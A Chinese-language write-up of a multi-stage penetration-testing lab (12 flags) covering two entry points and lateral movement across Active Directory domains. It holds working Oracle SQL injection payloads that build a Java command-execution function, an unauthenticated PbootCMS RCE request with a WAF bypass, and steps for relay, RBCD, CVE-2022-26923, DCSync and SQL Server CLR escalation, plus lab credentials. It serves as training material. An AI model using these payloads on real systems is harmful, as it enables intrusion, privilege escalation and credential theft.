Author:小离-xiaoli
前言:
• 两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
• 这边入口外网IP可能会有不一致的地方,因为靶场重启次数比较多,IP经常变化
• OSCP风格,不使用CS/MSF
• 这个靶场共有12个Flag
扫描结果:
1. 入口点1 - SQL注入 (Linux):
2. 入口点2 - Pboot-CMS (Linux):
前言:
• 一个站库分离的oracle注入,web是linux,注入点可以通过oracle注入发现到是一个windows,权限非dba,只有java runtime permission,这里没截图
• 这里前几次都没打成功,卡了挺久,后面搭建了个oracle和九世一起测试的
• 不建议用SqlMap,会把站打挂,并且可以看源码发现sqlmap提权函数没有定义关于oracle数据库的攻击方法
• Oracle 版本 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0
1. 直接上payload
1. 创建JAVA Source
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual)>1 --2.提权
admin' AND (SELECT dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual)>1--
3.创建函数
admin' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LINXRUNCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual)>1--
4.查询创建的函数
admin' union select null,(select object_name from all_objects where object_name ='LINXRUNCMD' and rownum=1),null from dual--
5.查询java source
admin' union select null,(select object_name from all_objects where object_name ='LinxUtil'),null from dual--
6.命令执行
admin' union select null,(select LINXRUNCMD('whoami') from dual),null from dual--
2. 函数LINXRUNCMD创建成功
3. whoami,直接是system权限了
4. ipconfig,该数据库内网IP为 172.23.4.51,此时需要回到入口点2进入内网了 !
前言:
• 西湖论剑CTF的题目,有WAF,考你怎么绕过pboot cms的disable function,这里用的是大哥的payload https://guokeya.github.io/post/WscncUrcS/
1. Payload(未授权RCE):
GET /?a=}{pboot{user:password}:if(("sys\x74em")("whoami"));//)}xxx{/pboot{user:password}:if} HTTP/1.1
Host: 39.98.94.70:80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.98.94.70/admin.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: lg=cn; PbootSystem=h6o5ta1btl6o32bi184ula183l
Connection: close
Content-Length: 0
2. PrivESC to root with CVE-2022-2588(这里用不了pwnkit,pkexec玄学)
3. 入口IP 172.23.4.32
4. Flag 1
1. 通过上面的入口点搭建代理,横向回到上面打下的oracle数据库 172.23.4.51,获取到Flag 2
1. 172.23.4.51 的Desktop 有个Usera的凭据
username: [email protected].com
password:Admin3gv83
2. 挂个代理,CME扫一扫
3. 这里忘记截图了,usera对4.12能RDP,RDP上去就可以了
• 提权方法1:krbrelayup直接提权
• 提权方法2:usera对该机器有writedacl,能rbcd提权到system
4. 横向上去后,发现C:\users\usera\目录下有.ssh目录,里面有一个私钥(私钥没截到图),known_hosts看到有个IP 172.23.4.19
5. Flag 3
1. 使用在172.23.4.12获取到的私钥登录进入172.23.4.19,回到了上面入口点1的web服务器,获取到root权限
2. Flag 4
• 172.23.4.12 - 双网卡 - 172.24.7.16
前言:
• 这里会绕路,是靶场设计思路的问题,我一开始也没想到能直接用CVE-2022-26923打下来,后面在这台机器上实在翻不到东西了,才用了CVE-2022-26923
• 后续和作者沟通了,作者原先是希望说从通过下述操作拿下机器后,找到一张管理员的证书,用证书直接打到域控,但是作者可能觉得太简单了,后面把证书删除了,后面复盘的时候作者说就是用 CVE-2022-26923 打下来
• 个人建议的话,可以在这台机器上弄一些信息泄露的点,用泄露的凭据改ESC1之类的,如果要增加难度的话,可以考虑把智能卡攻击也弄上
1. 使用凭据usera扫描一下172.24.7.0/24,调用petitpotam
2. 这里IP和主机名有点乱,我们备注一下
172.24.7.5 DCadmin.pen.me (当前不在我们的范围内)
172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,未拿下)
172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
172.24.7.3 DC.pentest.me (在范围内,未拿下)
172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,未拿下)
3. 扫一扫webclient服务,确定172.24.7.48能打下了
4. 难点在于你现在处于第二层网段,也好解决
• 端口转发链如下
172.24.7.16:80(双网卡,通172.23.4.0/24) ---forward--- 172.23.4.19:81(SSH) ---forward--- localhost:79 ---forward--- kali:8001
• SSH端口转发监听127.0.0.1的问题可以看回我之前的文章:IChunQiu-spoofing
5. 端口转发准备:
172.23.4.19
172.24.7.16(也是IP 172.23.4.12)
6. 启用ntlmrelayx.py,这里的escalate-user写的是172.24.7.16的主机名,截图是已经用petitpotam触发回连了,可以看到是已经完成了rbcd攻击了
7. petitpotam触发webclient实现中继
8. Flag 5
1. 域控装了ADCS(直接SMB看域控共享就懂了)
2. 提示ESC8
3. 但是,经过复杂的操作 (停445+端口转发),却和我说ADCS关了ntlm认证
4. 后面实在找不到东西了,直接CVE-2022-26923冲死,使用一个有效域凭据(普通权限)创建机器账户
5. CVE-2022-26923生成一张域控的证书
6. 还原NTLM出来(这里忘记截图,只能用帮助文档了)
7. Dcsync
8. 远程上172.24.7.3就能获得Flag 6了,这里忘记截图了
9. 然后就顺便扫一扫看看有没有其他网卡
• 172.24.7.3 - 双网卡 - 172.25.12.9
前言:
• 这里原先是用sid history进行跨域攻击,但是靶场环境有问题,作者也排查了很多次,确认环境有问题,sid history始终没打成功(没有开启sid过滤),然后作者才选择更换攻击路径
1. DCadmin 这台机器也是双网卡(172.24.7.5 和 172.25.12.7),不知道为什么上面的探测没扫出来
2. 到这里,我们更新一下笔记
pen.me
172.25.12.7 (172.24.7.5) DCadmin.pen.me (在范围内,还没拿下)
172.25.12.19 IZ1TUCEKFDPCEMZ.pen.me (在范围内,还没拿下)
172.25.12.29 IZ88QYK8Y8Y3VXZ.pen.me (在范围内,还没拿下)pentest.me
172.25.12.9 (172.24.7.3) DC.pentest.me (在范围内,已经拿下)
172.24.7.48 IZAYSXE6VCUHB4Z.pentest.me (在范围内,已经拿下)
172.24.7.16 IZMN9U6ZO3VTRNZ.pentest.me (在范围内,已经拿下)
172.24.7.3 DC.pentest.me (在范围内,已经拿下)
172.24.7.43 IZMN9U6ZO3VTRPZ.pentest.me (在范围内,有管理员凭据,还没登录上去)
3. Bloodhound看看是什么关系,可以看到,[email protected] 是 dcadmin.pen.me的管理员
4. 这里也是有些奇怪,作者是可以直接横向过去的 !
• 嘿,轮到我就不行(不知道是什么原因,我psexec也没成功) !
5. 干脆就RBCD了,我也不纠结 (RBCD过程省略)
6. Flag 7
7. DCSync过程略
1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 8 了
1. 用上面DCSync获取到的域管理员凭据直接横向就可以获取到 Flag 9 了
1. 看看这台机器的SPN,就知道172.25.12.19上面跑着Exchange了 !
2. 在域内你可以快速过滤homeMDB这个attribute,就知道用户有没有登录过邮服了,以下这个Exchange用户是我们要看的
3. 使用Exchange用户登录进入OWA,就可以获取到Flag 10 了
1. 用上面在pentest.me里面DCSync获取到的管理员凭据直接横向过去172.24.7.43即可获取到Flag11 了
• 172.24.7.43 - 双网卡 - 172.26.8.12
1. 我们回到 172.24.7.0/24,内网扫描 172.24.7.0/24发现有两个web服务,一个confluence和一个gitlab,对应url如下
confluence: 172.24.7.27:8090
gitlab: 172.24.7.23
2. 使用上面获取到的usera凭据直接登录进入confluence,可以发现有两个xlsx列表,用最新的即可
3. 无间实验室人员名单.xlsx
4. 在dc.pentest.me批量跑一下ldap,发现都是有效凭据,这里随便一个域用户都能登录进入gitlab,但是都没项目(登录gitlab的图忘记截图了)
5. 可以用在ldap筛选出有效用户(毕竟是ldap认证,当然你用kerbrute枚举也可以),然后配合利用git命令批量枚举,你能发现用户luizhuo有一个私人项目叫 Financial system-demo
6. 有一个SQL Server的凭据,但是IP是127.0.0.1
7. 找找commit历史,发现一个ip 172.26.8.16
8. 凭据记录
IP: 172.26.8.16
username: sa
password: sqlserver_2022
7. 后续复盘和作者交流过,gitlab不能直接拿下,但是最新的exp我没测试,有兴趣的大哥可以测试一下
1. 因为 172.24.7.43 这台机器通往 172.26.8.0/24网段,我们在 gitlab 172.24.7.23 刚好获取到过一个 SQL Server的凭据
IP: 172.26.8.16
username: sa
password: sqlserver_2022
2. 在这台机器上搞个代理,直接连接,然后一把梭(这里用的项目是https://github.com/Ridter/PySQLTools)
3. 服务账户权限
4. CLR提权
5. 直接改管理员密码
6. Flag 12
• 感谢九世大哥的协作帮忙,入口点帮助了很多,oracle注入那看到头秃了
• 感谢作者满秋和WHOAMI的帮助
• 靶场在做的过程中,发现了不少的BUG,但是作者都很热心的修补了BUG,期间还退还了沙子
• 做起来和你打攻防项目一样坐牢